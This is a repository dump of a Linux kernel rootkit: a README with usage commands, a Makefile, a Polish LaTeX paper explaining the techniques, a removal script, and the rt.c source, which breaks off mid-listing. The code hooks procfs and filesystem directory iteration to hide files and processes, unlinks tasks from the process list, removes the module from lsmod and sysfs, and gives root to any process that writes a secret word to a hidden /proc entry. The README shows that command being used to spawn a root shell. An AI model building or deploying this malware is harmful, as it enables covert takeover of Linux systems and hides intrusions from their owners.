├── .gitignore ├── Makefile ├── README.md ├── polis_paper.tex ├── rmrt.sh ├── rt.c └── tools └── rtcmd.py /.gitignore: -------------------------------------------------------------------------------- 1 | /paper/*.pdf 2 | /paper/*.aux 3 | /paper/*.log 4 | /paper/*.toc 5 | /tools/giveroot 6 | Module.symvers 7 | modules.order 8 | .tmp_versions 9 | .rt* 10 | **.ko 11 | **.mod.* 12 | **.o 13 | **.swp 14 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | ifneq ($(KERNELRELEASE),) 2 | obj-m := rt.o 3 | else 4 | KERNELDIR ?= /lib/modules/$(shell uname -r)/build 5 | PWD := $(shell pwd) 6 | 7 | default: 8 | $(MAKE) -C $(KERNELDIR) M=$(PWD) modules 9 | clean: 10 | $(MAKE) -C $(KERNELDIR) M=$(PWD) clean 11 | 12 | endif 13 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | #Sample Rootkit for Linux 2 | ##About 3 | This is sample rootkit implementation for Linux. It is able to hide processes, files and grants root privileges. It also have stealth mode (enabled by default) that prevents it from detecting. 4 | 5 | This work is based on Arkadiusz's work 3 years ago: https://github.com/ivyl/rootkit 6 | 7 | ##New features 8 | supports 3.11 kernel 9 | 10 | DKOM on process hiding 11 | 12 | ##Usage 13 | Just compile module (included Makefile does this against current kernel) and load it. There will be hidden file in `/proc` called `rtkit`. It's not visible when listing content of proc directory. 14 | 15 | Just `cat /proc/rtkit` to see available commands. You can use attached program to give orders or use `echo -n` (don't forget `-n`, there should be no tailing new line). 16 | 17 | Examples: 18 | ``echo -n thf >> /proc/rtkit`` 19 | ``./rtcmd.py hp1337`` 20 | 21 | To gain root you should give "My Pen Is Long" command (popculture reference, without spaces, small letters) and then fork some shell from writing process. rtcmd.py does that for you if second parameter is specified. 22 | ``tools/rtcmd.py mypenislong /bin/bash`` 23 | 24 | ##Notes 25 | This code should run on Linux version 2.6.29 and higher, since before that `lookup_address` symbol wasn't exported. Were tested against 3.1.0, 3.1.5 and 3.1.6 and is fully working (both x86 and x86\_64). 26 | 27 | Paper describing details of implementation (in polish) is [available](http://issuu.com/ivyl/docs/rootkit). 28 | ##License 29 | Dual licensed under BSD and GPL. 30 | 31 | ##Resources 32 | http://stackoverflow.com/questions/2103315/linux-kernel-system-call-hooking-example 33 | 34 | http://linux.die.net/lkmpg/ 35 | 36 | http://lwn.net/Kernel/LDD3/ 37 | 38 | ##Authors 39 | Ivyl and t3hknr and geekben. 40 | 41 | 42 | -------------------------------------------------------------------------------- /polis_paper.tex: -------------------------------------------------------------------------------- 1 | \documentclass[a4paper]{article} 2 | \usepackage[utf8x]{inputenc} 3 | \usepackage[T1]{fontenc} 4 | \usepackage[polish]{babel} 5 | \usepackage{minted} 6 | \begin{document} 7 | \title{Prosta, wysokopoziomowa implementacja rootkita dla Linuksa.} 8 | \author{Arkadiusz ,,Ivyl'' Hiler \and Michał ,,t3hknr'' Winiarski} 9 | \date{Styczeń 2012} 10 | \maketitle 11 | \newpage 12 | \begin{abstract} 13 | Opis metod i technik użytych przy implementacji modułu jądra umożliwającego intruzowi utrzymanie kontroli nad systemem 14 | oraz ukrycie swoich działań. 15 | 16 | Moduł umożliwia uzyskanie praw roota oraz ukrycie plików, procesów oraz samego siebie. 17 | Wydawanie rozkazów jak i sprawdzanie stanu rootkita odbywa sie za pomocą ukrytego wpisu w \texttt{/proc}. 18 | 19 | Pełen kod rootkita został zamieszony na końcu ninejszego dokumenu oraz na 20 | \texttt{https://github.com/ivyl/rootkit} 21 | \end{abstract} 22 | 23 | \newpage 24 | \tableofcontents 25 | \newpage 26 | 27 | \section{Wstęp} 28 | \subsection{Metody zdobywania wiedzy} 29 | Podstawowy opis struktur \texttt{file} i \texttt{file\_operations}, techniki 30 | debugowania, czy budowy i uruchamiania modułów można znaleźć w ,,Linux Device 31 | Drivers''\cite{ldd3}. Następny w kolejności źródłem infromacji jest sam kod 32 | źródłowy kernela. Poszukiwanie funkcji najlepiej zacząć od przeszukania plików 33 | nagłówkowych zawierających ich deklaracje (katalog \texttt{include/}). Łatwo 34 | można skonstruować wyrażenia regularne szukające prototypu zwracającego 35 | interesujący nas typ i zawierającego interesujące nas słowo. Szukania 36 | przykładowego użycia można dokonać w pozostałych katalogach, zawierających 37 | sterowniki i samą implementację. Do przeglądania zagadnień najlepiej nadaje 38 | się dokumentacja jądra (\texttt{Documentation/}). W dokumencie ograniczymy się 39 | do pobieżnej analizy potrzebnych nam funkcji i struktur, pomijając nieistotne 40 | pola. Zachęcamy do pełnej samodzielnej analizy plików nagłówkowych. 41 | 42 | 43 | \subsection{Środowisko} 44 | Moduł zbudowany w oparciu o przedstawione techniki z powodzeniem był 45 | kompilowany oraz działa na jądrze 3.1.0 oraz 3.1.5. Użyto gcc w wersji 4.6.x. 46 | Nie powinno być jednak problemu z innymi wersjami gcc jak i jądrami w wersji 47 | większej lub równej od 2.6.26 (wcześniej nie była eksportowana funkcja 48 | \texttt{lookup\_address}). Testy przeprowadzono zarówno na jądrze 49 | skompilowanym pod architekturzę x86 jak i x86\_64. 50 | 51 | 52 | \section{Makefile} 53 | Użyliśmy standardowgo pliku \texttt{Makefile} opisanego w LDD\cite{ldd3}: 54 | \begin{minted}[frame=lines,framesep=2mm]{makefile} 55 | ifneq ($(KERNELRELEASE),) 56 | obj-m := rt.o 57 | else 58 | KERNELDIR ?= /lib/modules/$(shell uname -r)/build 59 | PWD := $(shell pwd) 60 | 61 | default: 62 | $(MAKE) -C $(KERNELDIR) M=$(PWD) modules 63 | 64 | endif 65 | \end{minted} 66 | Wykonanie polecenia make powoduje samodzielnie ustawienie środowiska do 67 | budowania na podstawie symlinku build w katalogu zawierającym moduły aktualnie 68 | używanego jądra. 69 | 70 | 71 | \section{Właściwa implementacja} 72 | \subsection{Struktura modułu} 73 | Stworzenie nowego modułu wymaga oznaczenia dwóch funkcji za pomocą makr 74 | \texttt{module\_init} i \texttt{module\_exit} (plik nagłówkowy \texttt{linux/init.h}). 75 | Prototypy jak w przykładzie: 76 | \begin{minted}[frame=lines,framesep=2mm]{c} 77 | #include 78 | #include 79 | 80 | MODULE_LICENSE("Dual BSD/GPL"); 81 | MODULE_AUTHOR("Arkadiusz Hiler"); 82 | MODULE_AUTHOR("Michal Winiarski"); 83 | 84 | static int __init rootkit_init(void) { 85 | 86 | return 0; 87 | } 88 | 89 | static void __exit rootkit_exit(void) { 90 | 91 | } 92 | 93 | module_init(rootkit_init); 94 | module_exit(rootkit_exit); 95 | \end{minted} 96 | 97 | \texttt{\_\_init} oraz \texttt{\_\_exit} to makra oznaczające funkcje 98 | używane jedynie przy ładowaniu/zwalnianiu modułu, dzięki czemu może zwolnić 99 | zajmowane przez nie zasoby. 100 | 101 | Znaczenie makr \texttt{MODULE\_AUTHOR} oraz \texttt{MODULE\_LICENSE} 102 | (\texttt{linux/module.h}) jest oczywiste. 103 | 104 | Na szczególną uwagę zasługuje użycie modyfikatora \texttt{static}. Gwarantuje 105 | on nam, że funkcja nie jest widoczna na zewnątrz naszego kodu (żadne symbole 106 | nie są eksportowane). Postaramy się używać go przy każdej definicji w celu 107 | lepszego ukrycia modułu jądra. 108 | 109 | \subsection{Wpis w /proc} 110 | Interesujące nas funkcje znajdują się w pliku nagłówkowym 111 | \texttt{linux/proc\_fs.h}. 112 | \begin{minted}{c} 113 | struct proc_dir_entry *create_proc_entry(const char *name, 114 | mode_t mode, struct proc_dir_entry *parent); 115 | \end{minted} 116 | Pierwszy parametr to zwyczajnie nazwa, drugi to tryb dostępu, najłatwiej podać 117 | ósemkowo. Ostatnim parametrem jest rodzic w procfs, gdy podamy \texttt{NULL}, 118 | wpis tworzony jest w procfs root. 119 | 120 | Należy pamiętać o sprawdzaniu czy zwracana jest poprawna struktura (nie 121 | \texttt{NULL}). Przy wyładowywaniu modułu należy pamiętać o usunięciu wpisu: 122 | \begin{minted}{c} 123 | remove_proc_entry(const char *name, struct proc_dir_entry *parent); 124 | \end{minted} 125 | 126 | Struktura \texttt{proc\_dir\_entry} zwracana przez powyższą funkcję zawiera 127 | m.in. wskaźniki na funkcje używane przy odczycie/zapisie do pliku. 128 | Interesujące nas pola to \texttt{read\_proc} oraz 129 | \texttt{write\_proc}\cite{lkmpg}. Prototypy funkcji na które wskazują: 130 | 131 | \begin{minted}{c} 132 | int read(char *buffer, char **buffer_location, off_t off, 133 | int count, int *eof, void *data); 134 | 135 | int write(struct file *file, const char __user *buff, 136 | unsigned long count, void *data); 137 | \end{minted} 138 | 139 | \subsubsection{Read} 140 | Pierwsza funkcja zwrotna jest wywoływana gdy odczytujemy z pliku. Pierwszym 141 | paramterem jest bufor, do którego mamy zapisywać, drugi to jego położenie w 142 | pamięci, można użyć np. do zaalokowania własnego bufora, trzeci to offset, od 143 | którego chcemy zacząć czytać, czwarty to rozmiar buffora, który dostaliśmy, 144 | piąty wskazuje eof (po wpisaniu 1 pod adres), szóty to wkaźnik na dodatkowe 145 | dane. Funkcja zwraca liczbę wypisanych znaków. 146 | 147 | 148 | Przykładowa bezpieczna implementacja przy założeniu, że mamy zaalokowany 149 | odpowiednio duży \texttt{char[] module\_status}: 150 | \begin{minted}[frame=lines,framesep=2mm]{c} 151 | int rtkit_read(char *buffer, char **buffer_location, 152 | off_t off, int count, int *eof, void *data) { 153 | int size; 154 | 155 | //build module_status 156 | 157 | size = strlen(module_status); 158 | 159 | if (off >= size) return 0; 160 | 161 | if (count >= size-off) { 162 | memcpy(buffer, module_status+off, size-off); 163 | } else { 164 | memcpy(buffer, module_status+off, count); 165 | } 166 | 167 | return size-off; 168 | } 169 | \end{minted} 170 | Podana wyżej implementacja gwarantuje nam nieprzekroczenie obszaru bufora, 171 | zakończneie odczytu (zwrócenie zero przy próbie odczytu poza obszarem, nie używamy eof) 172 | oraz poprawną obsługę programów do czytania stronami (less, more) dzięki obsłudze offsetu. 173 | 174 | \subsubsection{Write} 175 | Parametrami, które nas interesują jest \texttt{buff}, czyli bufor wejściowy 176 | oraz \texttt{count} czyli rozmiar danych przekazanych w buforze. Pozostałe 177 | parametry to struktura file opisująca plik do którego piszemy oraz wskaźnik na 178 | dodatkowe dane. Funkcja zwraca liczbę przetworzonych znaków. 179 | 180 | Wystarczy porównywać zawartość bufora z komendą i wyciągnąć ewentualne 181 | dodatkowe informacje. Należy pamiętać o rozmiarze bufora i liczbie znaków. 182 | \begin{minted}[frame=lines,framesep=2mm]{c} 183 | int rtkit_write(struct file *file, const char __user *buff, 184 | unsigned long count, void *data) { 185 | if (!strncmp(buff, "secreet pass", MIN(11, count))) { } 186 | 187 | return count; 188 | } 189 | \end{minted} 190 | 191 | Powyżej użyte zostało makro: 192 | \begin{minted}[frame=lines,framesep=2mm]{c} 193 | #define MIN(a,b) \ 194 | ({ typeof (a) _a = (a); \ 195 | typeof (b) _b = (b); \ 196 | _a < _b ? _a : _b; }) 197 | \end{minted} 198 | 199 | \subsubsection{Podniesienie uprawnień} 200 | W pliku nagłówkowym \texttt{linux/cred.h} znajduje się funkcje które pozwalają 201 | na pobranie uprawnień aktualnie wykonywanego procesu oraz ich ponowne 202 | zapisanie. \texttt{prepare\_creds()} zwraca nam strukturę cred z informacjami 203 | o bieżacym procesie i jego uprawnienaich, zaś \texttt{commit\_creds(struct 204 | cred*)} ustawia procesowi nowe wartości na podstawie podanej struktury. 205 | Interesują nas pola uid, gid, euid oraz egid (user id, group id oraz ich 206 | efektywne wersje). W pobranej strukturze należy zmienić wartość tych pól na 0 207 | (root) po czym zatwierdzić nowe ustawienia. 208 | \begin{minted}[frame=lines,framesep=2mm]{c} 209 | struct cred *credentials = prepare_creds(); 210 | credentials->uid = credentials->euid = 0; 211 | credentials->gid = credentials->egid = 0; 212 | commit_creds(credentials); 213 | \end{minted} 214 | Wewnątrz funkcji write aktualnie wykonywnem procesem będzie proces, który 215 | pisał do pliku w \texttt{/proc}, więc można tam dokonać zmiany. 216 | 217 | \subsubsection{Uwagi} 218 | Łatwo złożyć powyższe informacje w całość, która po wydaniu odpowiedniego 219 | rozkazu do wpisu w \texttt{/proc} daje nam uprawnienia roota. Obie funkcje 220 | (read i wrtie) są w zasadzie gotowe do przypisania do odpowienich pól 221 | struktury. 222 | 223 | Do budowy odpowiedzi jak i sprawdzania wejścia możemy użyć funkcji z 224 | \texttt{linux/string.h}. Znajdziemy tam klasyczne funkcje 225 | porównania(\texttt{strcmp}, \texttt{strncmp}) budowy łańcuchów 226 | (\texttt{sprintf}) czy kopiowania. 227 | 228 | \subsection{Wydawanie rozkazów poprzez wpis} 229 | \begin{minted}[frame=lines,framesep=2mm]{python} 230 | #!/usr/bin/env python 231 | import sys 232 | import os 233 | 234 | def order(command): 235 | f = open("/proc/rtkit", "w") 236 | f.write(command) 237 | f.close() 238 | 239 | if len(sys.argv) > 1: 240 | order(sys.argv[1]) 241 | 242 | if len(sys.argv) > 2: 243 | os.execl(sys.argv[2], "") 244 | \end{minted} 245 | Powyższy program zapisuje pierwszy przekazany argument do wpisu w 246 | \texttt{/proc}. Jeżeli podany jest drugi argument, to uruchamiany jest 247 | wskazywany przezeń program (np. po dostaniu roota odpalamy powłokę bash). 248 | 249 | 250 | \subsection{Ukrycie wpisów w \texttt{/proc}} 251 | \subsubsection{Użyteczność} 252 | Ukrywanie plików w \texttt{/proc} może posłużyć do ukrycia wpisu stworzonego 253 | przez nas jak i ukrycia procesów w systemie. Programy pokroju \texttt{ps} i 254 | \texttt{top} listują katalogi w \texttt{/proc} reprezentujące procesy. Ukrycie 255 | tych katalogów skutkuje ukryciem procesów. 256 | 257 | \subsubsection{Wyciągnięcie \texttt{file\_operations}} 258 | Zmian tych można dokonać poprzez zastąpienie używanej funkcji 259 | \texttt{readdir}, która zamienia funkcję \texttt{filldir} przekazywaną do 260 | oryginału. Wskaźnik do funkcji \texttt{readdir} znajduje się w strukturze 261 | \texttt{file\_operations}. Interesuje nas struktura dla \texttt{/proc}. 262 | Wskaźnik na \texttt{file\_operations} można znaleść w strukturze 263 | \texttt{proc\_dir\_entry}. Nasz nowo utworzony plik w \texttt{/proc} zawiera 264 | wskaźnik na rodzica - w tym wypadku sam \texttt{/proc}. Pole 265 | \texttt{proc\_fops} zawiera interesującą nas strukturę. 266 | 267 | \mint{c}|proc_rtkit->parent->proc_fops| 268 | 269 | \subsubsection{Własne \texttt{readdir} i \texttt{filldir}} 270 | Własna wersja \texttt{readdir} ma za zadanie jedynie opakować oryginalne 271 | \texttt{filldir} w naszą własną wersję. Uzywamy do tego globalnej statycznej 272 | zmiennej. \texttt{filldir} natomiast ma zwracać 0 jeśli chemy ukryć wpis lub 273 | też wywoływać oryginał. Pozwolimy pominąć sobie opis prototypów funkcji i 274 | przejść do implementacji: 275 | \begin{minted}[frame=lines,framesep=2mm]{c} 276 | int proc_readdir_new(struct file *filp, void *dirent, filldir_t filldir) { 277 | proc_filldir_orig = filldir; //some static variable 278 | return proc_readdir_orig(filp, dirent, proc_filldir_new); 279 | } 280 | 281 | int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset, 282 | u64 ino, unsigned d_type) { 283 | if (!strcmp(name, "rtkit")) return 0; 284 | return proc_filldir_orig(buf, name, namelen, offset, ino, d_type); 285 | } 286 | \end{minted} 287 | Użycie globalnej zmiennej nie powoduje kłopotów w razie przypadkowego 288 | wywłaszczenia. \texttt{filldir} jest zawsze takie samo, nie ma niestety innego 289 | sposobu na jego wyciągniecie niż zrobieni tego w ciele \texttt{readdir}. 290 | 291 | \subsubsection{Zmiana trybu dostepu do strony w pamięci} 292 | Niestety bezpośrednia podmiana wskaźnika w strukturze nie jest możliwa z dwóch 293 | powodów. Po pierwsze, wskaźnik jest typu \texttt{const} i potrzebne jest 294 | odpowiednie rzutowanie, po drugie ze wzgledu na oznaczenie strony pamięci, na 295 | której znajduje się struktura \texttt{file\_operations} jako tylko do odczytu. 296 | Kończy się to błędem typu Kernel Oops z komunikatem ,,unable to handle kernel 297 | paging'' istnieje kilka metod zmiany trybu strony, jednak większość ma pewne 298 | dodatkowe ograniczenia (np. nie zmienianie trybu strony znajdującej się w 299 | obszarze .rodata). W kernelu w wersji 2.6.26 lub wyższej eksportowana jest 300 | metoda o prototypie\cite{stovf1}: 301 | \mint{c}|pte_t *lookup_address(unsigned long addr, unsigned int *level);| 302 | 303 | Wyciąga ona struturę \texttt{pte\_t} zawierającą pole \texttt{pte} pozwalające 304 | na zmianę trybu dostępu (maska bitowa). Interesuje nas ustawienie 305 | \texttt{\_PAGE\_RW} po czym posprzątanie po sobie. 306 | 307 | Wymaga to od nas rzutowania wskaźnika na struturę na typ \texttt{unsigned 308 | long}. Ze względu na potrzebę użycia tego w kilku miejscach stwórzmy sobie 309 | metody pomocnicze: 310 | \begin{minted}[frame=lines,framesep=2mm]{c} 311 | void set_addr_rw(void *addr) { 312 | unsigned int level; 313 | pte_t *pte = lookup_address((unsigned long) addr, &level); 314 | if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW; 315 | } 316 | 317 | void set_addr_ro(void *addr) { 318 | unsigned int level; 319 | pte_t *pte = lookup_address((unsigned long) addr, &level); 320 | pte->pte = pte->pte &~_PAGE_RW; 321 | } 322 | \end{minted} 323 | Przez wkaźnik przekazywany jako drugi parametr zwracany jest poziom strony, 324 | który ignorujemy. Po wykonaniu \texttt{set\_addr\_rw(proc\_fops)} można 325 | dokonać podmiany, po czym należy wrócić do trybu tylko do odczytu: 326 | \begin{minted}[frame=lines,framesep=2mm]{c} 327 | set_addr_rw(proc_fops); 328 | proc_fops->readdir = proc_readdir_new; 329 | set_addr_ro(proc_fops); 330 | \end{minted} 331 | Pamiętajmy też o zapamiętaniu oryginału, by móc przywrócić stan pierwotny przy 332 | wyładowywaniu modułu. 333 | 334 | \subsection{Ukrycie wpisów w systemie plików} 335 | \subsubsection{Wyciągnięcie \texttt{file\_operations}} 336 | Wszystko odbywa się analogicznie do ukrywania wpisów w \texttt{/proc}. Jedynej 337 | trudności nastręcza wyciągniecie struktury \texttt{file\_operations}. Systemy 338 | plików rejestrowane są w podsystemie VFS. Stamtąd można wyciągnąć jedynie 339 | wkaźnik na funkcję używaną do montowania dla systemu plików o konkretnej 340 | nazwie. Najlepszą i najbezpieczniejszą metodą (gwarantującą podmianą readdir 341 | dla używanego systemu plików) jest użycie funkcji: 342 | \mint{c}|struct file *filp_open (const char *filename, int flags, int mode);| 343 | Jako flags podajemy \texttt{O\_RDONLY}, mode jest istotny tylko przy użyciu 344 | flagi \texttt{O\_CREAT}, więc podajemy cokolwiek. Najlepiej otworzyć folder, 345 | którego istnienia zawsze jesteśmy pewni, np. \texttt{/etc}. Struktura file 346 | zawiera pole f\_op będące wskaźnikiem na \texttt{file\_operations} (pamiętać o 347 | rzutowniu, jest typu \texttt{const}, oraz o zmianie trybu strony). Po czym 348 | plik należy zamknąć 349 | \mint{c}|int filp_close(struct file *filp, fl_owner_t id);| 350 | ID dotyczy wątku zarządzającego, podajemy \texttt{NULL} Funkcje te opisane są 351 | w pliku nagłówkowym \texttt{linux/fs.h}. 352 | 353 | \subsection{Ukrycie modułu} 354 | Podstawowym zabiegiem jest wcześniej wspomniane używanie modyfikatora 355 | \texttt{static}. Dzięki temu unikniemy pojawienia się wpisów w 356 | \texttt{/proc/kallsyms}. Dodatkowo należy usunać moduł z listy modułów (nie 357 | będzie widoczny przez lsmod) i zadbać o wyrejestrowanie obiektów 358 | \texttt{kobject}, które mają swoją reprezentację w \texttt{/sys}. Posłużymy 359 | się metodami \texttt{list\_del(struct list\_head*)} oraz 360 | \texttt{kobject\_del(struct kobject*)}. 361 | 362 | \begin{minted}[frame=lines,framesep=2mm]{c} 363 | list_del(&THIS_MODULE->list); 364 | kobject_del(&THIS_MODULE->mkobj.kobj); 365 | list_del(&THIS_MODULE->mkobj.kobj.entry); 366 | \end{minted} 367 | \texttt{THIS\_MODULE} to makro dające dostęp do struktury opisjącej bieżący 368 | moduł. 369 | 370 | Można zapamiętać poprzedniki (pole \texttt{prev}) w celu powrotnego dodania na 371 | rozkaz (umożliwienie wyładowania modułu). 372 | 373 | \section{Podsumowanie} 374 | Z odrobiną własnej inwencji można złożyć powyższe w całość, zaimplementować 375 | rozkaz ukrywania PIDów, itd. Poniżej zamieściliśmy listnig kodu w pełni 376 | funkcjonującego rootkita. 377 | 378 | \section{Pełen kod} 379 | \inputminted[linenos,fontsize=\footnotesize]{c}{../rt.c} 380 | 381 | \begin{thebibliography}{9} 382 | \bibitem{ldd3} 383 | Jonathan Corbet, Alessandro Rubini, and Greg Kroah-Hartman 384 | \emph{Linux Device Drivers}. 385 | O'Reilly, 386 | 3rd Edition, 387 | 2005. 388 | 389 | \bibitem{stovf1} 390 | Corey Henderson 391 | \emph{Linux Kernel: System call hooking example}, Stackoverflow discussion. 392 | http://stackoverflow.com/questions/2103315/linux-kernel-system-call-hooking-example 393 | 394 | \bibitem{lkmpg} 395 | Peter Jay Salzman, Michael Burian, and Ori Pomerantz 396 | \emph{The Linux Kernel Module Programming Guide}. 397 | http://linux.die.net/lkmpg/ 398 | \end{thebibliography} 399 | \end{document} 400 | -------------------------------------------------------------------------------- /rmrt.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo -n ms > /proc/rtkit 4 | sudo rmmod rt 5 | -------------------------------------------------------------------------------- /rt.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | /* 16 | * This is not completely implemented yet. The idea is to 17 | * create an in-memory tree (like the actual /proc filesystem 18 | * tree) of these proc_dir_entries, so that we can dynamically 19 | * add new files to /proc. 20 | * 21 | * The "next" pointer creates a linked list of one /proc directory, 22 | * while parent/subdir create the directory structure (every 23 | * /proc file has a parent, but "subdir" is NULL for all 24 | * non-directory entries). 25 | */ 26 | struct proc_dir_entry { 27 | unsigned int low_ino; 28 | umode_t mode; 29 | nlink_t nlink; 30 | kuid_t uid; 31 | kgid_t gid; 32 | loff_t size; 33 | const struct inode_operations *proc_iops; 34 | const struct file_operations *proc_fops; 35 | struct proc_dir_entry *next, *parent, *subdir; 36 | void *data; 37 | atomic_t count; /* use count */ 38 | atomic_t in_use; /* number of callers into module in progress; */ 39 | /* negative -> it's going away RSN */ 40 | struct completion *pde_unload_completion; 41 | struct list_head pde_openers; /* who did ->open, but not ->release */ 42 | spinlock_t pde_unload_lock; /* proc_fops checks and pde_users bumps */ 43 | u8 namelen; 44 | char name[]; 45 | }; 46 | 47 | #define MIN(a,b) \ 48 | ({ typeof (a) _a = (a); \ 49 | typeof (b) _b = (b); \ 50 | _a < _b ? _a : _b; }) 51 | 52 | 53 | #define MAX_PIDS 50 54 | 55 | MODULE_LICENSE("Dual BSD/GPL"); 56 | MODULE_AUTHOR("Arkadiusz Hiler"); 57 | MODULE_AUTHOR("Michal Winiarski"); 58 | 59 | //STATIC VARIABLES SECTION 60 | //we don't want to have it visible in kallsyms and have access to it all the time 61 | static struct proc_dir_entry *proc_root; 62 | static struct proc_dir_entry *proc_rtkit; 63 | 64 | static int (*proc_iterate_orig)(struct file *, struct dir_context *); 65 | static int (*fs_iterate_orig)(struct file *, struct dir_context *); 66 | 67 | static filldir_t proc_filldir_orig; 68 | static filldir_t fs_filldir_orig; 69 | 70 | static struct file_operations *proc_fops; 71 | static struct file_operations *fs_fops; 72 | 73 | static struct list_head *module_previous; 74 | static struct list_head *module_kobj_previous; 75 | 76 | static char pids_to_hide[MAX_PIDS][8]; 77 | static struct task_struct* proc_to_hide[MAX_PIDS]; 78 | static int current_pid = 0; 79 | 80 | static char hide_files = 1; 81 | 82 | static char module_hidden = 0; 83 | 84 | static char module_status[1024]; 85 | 86 | static int size, temp; 87 | 88 | //MODULE HELPERS 89 | void module_hide(void) 90 | { 91 | if (module_hidden) return; 92 | module_previous = THIS_MODULE->list.prev; 93 | list_del(&THIS_MODULE->list); 94 | module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev; 95 | kobject_del(&THIS_MODULE->mkobj.kobj); 96 | list_del(&THIS_MODULE->mkobj.kobj.entry); 97 | module_hidden = !module_hidden; 98 | } 99 | 100 | void module_show(void) 101 | { 102 | int result; 103 | if (!module_hidden) return; 104 | list_add(&THIS_MODULE->list, module_previous); 105 | result = kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent, "rt"); 106 | module_hidden = !module_hidden; 107 | } 108 | 109 | //PAGE RW HELPERS 110 | static void set_addr_rw(void *addr) 111 | { 112 | unsigned int level; 113 | pte_t *pte = lookup_address((unsigned long) addr, &level); 114 | if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW; 115 | } 116 | 117 | static void set_addr_ro(void *addr) 118 | { 119 | unsigned int level; 120 | pte_t *pte = lookup_address((unsigned long) addr, &level); 121 | pte->pte = pte->pte &~_PAGE_RW; 122 | } 123 | 124 | //CALLBACK SECTION 125 | static int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) 126 | { 127 | int i; 128 | for (i=0; i < current_pid; i++) { 129 | if (!strcmp(name, pids_to_hide[i])) return 0; 130 | } 131 | if (!strcmp(name, "rtkit")) return 0; 132 | return proc_filldir_orig(buf, name, namelen, offset, ino, d_type); 133 | } 134 | 135 | static int proc_iterate_new(struct file *filp, struct dir_context *ctx) 136 | { 137 | proc_filldir_orig = ctx->actor; 138 | *((filldir_t *)&ctx->actor) = &proc_filldir_new; 139 | return proc_iterate_orig(filp, ctx); 140 | } 141 | 142 | static int fs_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) 143 | { 144 | if (hide_files && (!strncmp(name, "__rt", 4) || !strncmp(name, "10-__rt", 7))) return 0; 145 | return fs_filldir_orig(buf, name, namelen, offset, ino, d_type); 146 | } 147 | 148 | static int fs_iterate_new(struct file *filp, struct dir_context *ctx) 149 | { 150 | fs_filldir_orig = ctx->actor; 151 | *((filldir_t *)&ctx->actor) = &fs_filldir_new; 152 | return fs_iterate_orig(filp, ctx); 153 | } 154 | 155 | static ssize_t rtkit_read(struct file *file, char __user *buffer, size_t count, loff_t *ppos) 156 | { 157 | if (count > temp) 158 | count = temp; 159 | temp = temp-count; 160 | 161 | copy_to_user(buffer, module_status, count); 162 | 163 | if(count == 0) { 164 | sprintf(module_status, 165 | "RTKIT\n\ 166 | DESC:\n\ 167 | hides files prefixed with __rt or 10-__rt and gives root\n\ 168 | CMNDS:\n\ 169 | mypenislong - uid and gid 0 for writing process\n\ 170 | hpXXXX - hides proc with id XXXX\n\ 171 | up - unhides last process\n\ 172 | thf - toogles file hiding\n\ 173 | mh - module hide\n\ 174 | ms - module show\n\ 175 | STATUS\n\ 176 | fshide: %d\n\ 177 | pids_hidden: %d\n\ 178 | module_hidden: %d\n", hide_files, current_pid, module_hidden); 179 | 180 | size = strlen(module_status); 181 | temp = size; 182 | 183 | } 184 | 185 | return count; 186 | } 187 | 188 | static ssize_t rtkit_write(struct file *file, const char __user *buff, size_t count, loff_t *ppos) 189 | { 190 | if (!strncmp(buff, "mypenislong", MIN(11, count))) { //changes to root 191 | struct cred *credentials = prepare_creds(); 192 | credentials->uid = credentials->euid = 0; 193 | credentials->gid = credentials->egid = 0; 194 | commit_creds(credentials); 195 | } else if (!strncmp(buff, "hp", MIN(2, count))) {//hpXXXXXX hides process with given id 196 | if (current_pid < MAX_PIDS) strncpy(pids_to_hide[current_pid++], buff+2, MIN(7, count-2)); 197 | } else if (!strncmp(buff, "dh", MIN(2, count))) {//dhXXXXXX deeply hides process with given id, delete it from tasklist 198 | if (current_pid < MAX_PIDS) { 199 | struct task_struct *p; 200 | long pid; 201 | char pid_s[MIN(7, count-2)+1]; 202 | pid_s[MIN(7, count-2)] = 0; 203 | strncpy(pids_to_hide[current_pid++], buff+2, MIN(7, count-2)); 204 | strncpy(pid_s, buff+2, MIN(7, count-2)); 205 | for_each_process(p) { 206 | kstrtol(pid_s, 10, &pid); 207 | if (pid == p->pid) { 208 | printk("----------%d: %s\n", pid, p->comm); 209 | proc_to_hide[current_pid] = p; 210 | //list_del(&p->tasks); 211 | p->tasks.prev->next = p->tasks.next; 212 | p->tasks.next->prev = p->tasks.prev; 213 | } 214 | } 215 | } 216 | } else if (!strncmp(buff, "up", MIN(2, count))) {//unhides last hidden process 217 | if (current_pid > 0 && proc_to_hide[current_pid] != NULL) 218 | list_add(&proc_to_hide[current_pid]->tasks, proc_to_hide[current_pid]->tasks.prev); 219 | if (current_pid > 0) current_pid--; 220 | } else if (!strncmp(buff, "thf", MIN(3, count))) {//toggles hide files in fs 221 | hide_files = !hide_files; 222 | } else if (!strncmp(buff, "mh", MIN(2, count))) {//module hide 223 | module_hide(); 224 | } else if (!strncmp(buff, "ms", MIN(2, count))) {//module hide 225 | module_show(); 226 | } 227 | 228 | return count; 229 | } 230 | 231 | //INITIALIZING/CLEANING HELPER METHODS SECTION 232 | static void procfs_clean(void) 233 | { 234 | if (proc_rtkit != NULL) { 235 | remove_proc_entry("rtkit", NULL); 236 | proc_rtkit = NULL; 237 | } 238 | if (proc_fops != NULL && proc_iterate_orig != NULL) { 239 | set_addr_rw(proc_fops); 240 | proc_fops->iterate = proc_iterate_orig; 241 | set_addr_ro(proc_fops); 242 | } 243 | } 244 | 245 | static void fs_clean(void) 246 | { 247 | if (fs_fops != NULL && fs_iterate_orig != NULL) { 248 | set_addr_rw(fs_fops); 249 | fs_fops->iterate = fs_iterate_orig; 250 | set_addr_ro(fs_fops); 251 | } 252 | } 253 | 254 | static const struct file_operations proc_rtkit_fops = { 255 | .owner = THIS_MODULE, 256 | .read = rtkit_read, 257 | 